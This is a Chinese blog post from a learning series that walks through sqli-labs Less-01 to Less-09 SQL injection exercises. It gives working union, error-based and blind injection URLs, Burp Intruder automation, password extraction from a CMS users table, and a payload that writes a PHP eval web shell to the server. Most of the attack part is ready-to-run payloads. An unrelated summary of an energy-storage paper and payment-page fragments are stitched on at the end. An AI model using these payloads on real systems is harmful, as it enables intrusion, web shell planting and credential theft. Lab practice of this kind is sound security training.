【CyberSecurityLearning 56】自动化注入

本文详细介绍了SQL注入的各种类型和利用技巧,包括自动化注入、半自动化注入和全自动注入工具的使用,如sqlmap、burp等。通过sqli-labs题库的Less-01至Less-09,展示了字符型和数字型注入的判断、联合查询、布尔盲注、文件读写等方法,以及如何处理输出结果不全的情况。整个过程揭示了SQL注入攻击的步骤和防御措施的重要性。

目录

自动化注入

半自动化注入

全自动注入

sqli-labs题库

Less-01

Less-02

Less-03

Less-04

Less-05

如果输出结果显示不全怎么办?

Less-06

Less-07

Less-08

Less-09


 

自动化注入

半自动化注入

burp

全自动注入

首推:sqlmap
其他:穿山甲/明小子/胡萝卜等

定制化脚本

 

sqli-labs题库

Less-01

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(发现是字符型注入,闭合方式是单引号)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1后面有其他SQL语句,为了防止后面SQL语句的影响,我们可以把后面注入掉(--+),如果是井号(在url中我们需要把#进行url编码变为%23)

3、and 1=1,and1=2,两次页面状态不同(有布尔类型状态)

4、and sleep(5)  (有延时)【sleep语句我们不要管页面显示什么,我们判断依据是时间线】

5、我们做联合查询,把前面的那条SQL语句置为假(and 1=2)

http://42.192.43.56/sqli-labs/Less-1/?id=1'  and 1=2 union select 1,version(),3 --+  (做到version就行,因为我们能获得数据库中的敏感信息了)

Less-02

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(数字型注入,我们提交的2没有显示到页面,闭合方式没有)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

3、直接用union select判断有多少个列就行

http://42.192.43.56/sqli-labs/Less-2/?id=-2 union select 1,2,database()

Less-03

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(字符型注入,因为提交的参数3显示到页面中来了,闭合方式单引号加一个右半括号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3'') LIMIT 0,1' at line 1

3、我要要想闭合之前的字符串的定义,我们要在2后面添加一个单引号和右半括号,如何把后面--+闭合掉

http://42.192.43.56/sqli-labs/Less-3/?id=3') --+

实际上SQL语句变成了:......'3')--+') LIMIT 0,1

4、http://42.192.43.56/sqli-labs/Less-3/?id=3') and 1=2 union select 1,2,version()--+

 

Less-04

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询

2、通过加单引号,判断是数字型注入还是字符型注入(发现没反应)
     改用双引号测试一下(注意是双引号,不是两个单引号),字符型注入,闭合方式是"),把后面--+注释掉

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1

3、http://42.192.43.56/sqli-labs/Less-4/?id=2") and 1=2 union select 1,2,@@datadir--+

 

Less-05

1、输入id=1和id=2,页面显示一样
2、输入一个单引号(字符型注入,闭合方式是单引号)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1

3、没有回显,有报错,字符型注入,闭合方式单引号,使用报错注入

4、42.192.43.56/sqli-labs/Less-5/?id=2' and updatexml(1,concat(0x5e,version(),0x5e),1) --+

如果输出结果显示不全怎么办?

我们先取出前十六位:

http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),1,16),0x5e),1)

再取后16位

http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),17),0x5e),1)

再拼接起来

 

Less-06

1、输入id=1和id=2,页面显示一样
2、输入一个单引号(没反应),再提交一个双引号(字符型注入,闭合方式是双引号)

没有回显有报错,字符型,双引号闭合

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

--+闭合后和谐

3、http://42.192.43.56/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x5e,(select version()),0x5e),1)--+

 

Less-07

1、输入id=1和id=2,页面显示一样

2、输入单引号测试(没有报错信息)

You have an error in your SQL syntax

3、and 1=1 /  and 1=2

没有回显,没有报错

我们代码审计一下

可以看到闭合方式是'))

4、字符型注入

http://42.192.43.56/sqli-labs/Less-7/?id=2'))--+

5、读写文件

http://42.192.43.56/sqli-labs/Less-7/?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "D:\\phpStudy\\WWW\\1.php"--+

into outfile 是我们把内容导入到1.php这个文件中去(其实那个$转义不转义都行,建议转义,只要$出现在引号里面并且是作为普通字符串输出,就转义)

写文件成功

打开1.php  发现所要信息

 

Less-08

1、输入id=1和id=2,页面显示一样

2、输入单引号测试,啥都没有

没有回显,没有报错

添加一个双引号:You are in...(你用双引号显示You are in...说明双引号必定不是闭合方式,考虑是单引号闭合)

3、--+闭合——和谐

4、and 1=1和and 1=2页面状态不一样,有布尔类型状态,考虑布尔盲注,属于字符型注入,闭合方式是单引号

用bp进行半自动化注入(抓包后发到intruder模块)

数据库的长度1在变,我们把1用$引起来,选择payload,选择一个字典,点击“ann from list”选择0-9

得到数据库名的长度 8

*获取数据库名

?id=2' and ascii(substr(database(),1,1))=1--+

攻击类型选择集束炸弹(cluster bomb)

字典

第一个变量1-8

第二个变量1-128

start attack

  

 

代码审计一下

 

 

Less-09

1、输入id=1和id=2,页面显示一样

2、输入单双引号测试,都是You are in.....

没有回显

3、没有布尔类型状态

4、id后加单引号,加sleep起作用,说明是字符型注入,闭合方式单引号

没有回显,没有报错,没有布尔类型状态,有延时

http://42.192.43.56/sqli-labs/Less-8/?id=2' and if(length(database())=1,sleep(5),1)--+

5、抓包,添加变量

*获取数据库名

字典

变量11-8

变量21-128

获取成功

 

 

内容概要:本文研究了一种基于改进ICEEMDAN的火电-蓄电池-飞轮混合储能联合调频协同控制策略,旨在提升电力系统频率调节的快速响应能力与运行稳定性。通过引入改进的自适应噪声完备集合经验模态分解(ICEEMDAN)方法,对电网频率偏差信号进行多时间尺度分解,精确分离高频与低频动态分量,并据此实现功率的差异化分配:高频成分由响应迅速的飞轮储能承担,低频成分由能量密度高的蓄电池处理,同时结合火电机组的基础调频能力,构建火电-混合储能多源协同控制架构。该策略充分发挥各类储能技术的优势,有效缓解单一储能系统的压力,延长设备寿命,并提升系统整体调频性能。文中提供了完整的Matlab仿真代码实现,验证了该方法在抑制频率波动、优化储能出力、提高系统可靠性和经济性方面的显著效果。; 适合人群:具备电力系统分析、自动控制理论及新能源技术等相关专业知识背景,熟悉Matlab/Simulink仿真平台,从事电力系统调频控制、混合储能系统优化、多时间尺度能量管理等领域研究的研究生、科研人员及工程技术人员。; 使用场景及目标:①深入研究混合储能系统在电网一次调频与二次调频中的功率分配机制与协调控制逻辑;②掌握ICEEMDAN信号分解技术在能源系统动态特征提取与多尺度控制中的应用方法;③实现火电机组与多类型储能协同参与调频的仿真建模、算法开发与性能对比分析;④为综合能源系统、微电网及新型电力系统的多源多时间尺度协调控制提供理论依据与技术参考。; 阅读建议:建议结合提供的Matlab代码逐模块分析算法实现流程,重点理解信号分解、模态分量判别、功率分配规则及控制器设计等关键环节,可通过调整系统参数、模拟不同扰动工况进行仿真测试,进一步开展灵敏度分析与策略优化,以深化对协同控制机理的认识并拓展其实际应用价值。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值